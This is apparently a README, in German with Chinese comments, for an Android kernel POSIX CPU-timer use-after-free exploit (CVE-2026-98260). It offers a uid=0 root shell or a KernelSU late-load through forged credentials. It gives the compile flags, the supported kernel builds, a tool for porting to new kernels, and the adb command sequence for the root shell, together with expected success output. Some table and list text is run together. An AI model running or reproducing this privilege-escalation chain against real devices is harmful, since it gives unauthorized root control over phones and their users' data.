
Android-Kernel-POSIX-CPU-Timer-Use-after-free-Exploit für 6.12.69, der eine uid=0-Shell oder ein KernelSU-Late-Load über gefälschte Credentials erreicht.
CVE-2026-98260 POSIX CPU-Timer-UAF-Portierung, Unterstützung siehe „Kernel-Unterstützung“
Zwei Ketten:
timer: echte cred null Schreiben → uid=0, u:r:shell:s0 (Shell-Domain root, bset caps)timer fake: fake cred (full caps) → installierte KernelSU libksud.so Late-Load| Pfad | Ergebnis |
|---|---|
real cred Null-Schreiben + setuid(0) + exec sh | uid=0, u:r:shell:s0, ROOT_SHELL_OK |
fake cred + ksud late-load | Installierte Version libksud.so (uapi 6), KSU_LOADED, su ist u:r:ksu:s0 |
u:r:shell:s0), kann tracefs und /proc/slabinfo lesenme.weishu.kernelsu), verwendet fake automatisch dessen lib/arm64/libksud.socd timer
NDK=~/Android/Sdk/ndk/30.0.16248370/toolchains/llvm/prebuilt/linux-x86_64/bin
$NDK/aarch64-linux-android35-clang -O2 -std=gnu11 -static \
-fno-stack-protector -fno-pic -I. \
-ffunction-sections -fdata-sections timer.c -o timer \
-Wl,--gc-sections -Wl,-s -Wl,--build-id=none \
-Wl,-z,norelro -pthread
Für jede per-build-Konstante gibt es eine eigene Datei timer/kbuilds/<release>.h, die über timer/kbuilds.h eingebunden wird; timer.c enthält nur die Logik, timer gleicht den gesamten String von uname -r ab und gibt bei fehlender Übereinstimmung die bekannten Builds aus und beendet sich
Bereits unterstützt:
6.1.138-android14-11-g7b9e94e37cfa-mi6.6.118-android15-8-gf72a02f47f4b-abogki551678766-4k6.12.69-android16-6-g5fd39602326e-ab16372235-4k6.12.69-android16-6-g242e1a07f878-ab15865446-4kNeuen Kernel hinzufügen (98260 erkennen + schreiben und Profil registrieren; Exit-Code 0 bedeutet patchbar, 3 bereits behoben, 1 Fehler):
cargo build --release --manifest-path tools/extract/Cargo.toml
tools/extract/target/release/timer-extract boot.img --add
tools/*.c dient zur Überprüfung von Call Sites, Raw Records, Timer-Leaks und des 8 KiB AF_UNIX-Rückgewinnungskanals.
adb push timer /data/local/tmp/timer
adb shell chmod 755 /data/local/tmp/timer
# 诊断
adb shell /data/local/tmp/timer build # 打印内核 release 与命中的 profile
adb shell /data/local/tmp/timer ids # 探测 tracefs page event id
adb shell /data/local/tmp/timer leak # 只做 base/cred/task 泄漏,不触发 UAF
# uid-0 shell(真实 cred)
adb shell /data/local/tmp/timer # id + context + ROOT_SHELL_OK
adb shell /data/local/tmp/timer shell # 交互 sh
# KernelSU(fake cred + 安装版 ksud)
adb shell 'cd /data/local/tmp && setsid ./timer fake >timer.log 2>&1 </dev/null &'
adb shell cat /data/local/tmp/timer.log
fake Erfolgsindikator:
[ksu] ksud=.../lib/arm64/libksud.so version=ksud 3.3.1-24-g528bafc5 (uapi: 6)
KSU_LOADED
kernelsu ... Live
adb shell /system/bin/su -c id # uid=0 ... context=u:r:ksu:s0
timeout/kill auf geparkte Prozesse anwenden, da dies sonst einen Panic verursachen kanntimer/timer.c exploit
timer/kbuilds.h 内核 profile 索引(include 列表 + 指针表)
timer/kbuilds/ 各内核的 profile(<release>.h)
timer/timer 静态产物
tools/*.c 移植诊断源码
tools/extract/ 提取器与检测(Rust,bin timer-extract)
| Pfad | Lizenz |
|---|---|
Stammverzeichnis (timer/, tools/*.c) | MIT, siehe LICENSE |
tools/extract/ | Apache-2.0, siehe tools/extract/LICENSE |
Drittanbieter-Quellen:
timer/timer.c basiert auf src/uid0.c und src/poc.c aus woshigenm/CVE-2026-98260 (MIT)tools/extract/ stammt aus YuKongA/ghostlock-app/tools/extract_rs (Apache-2.0)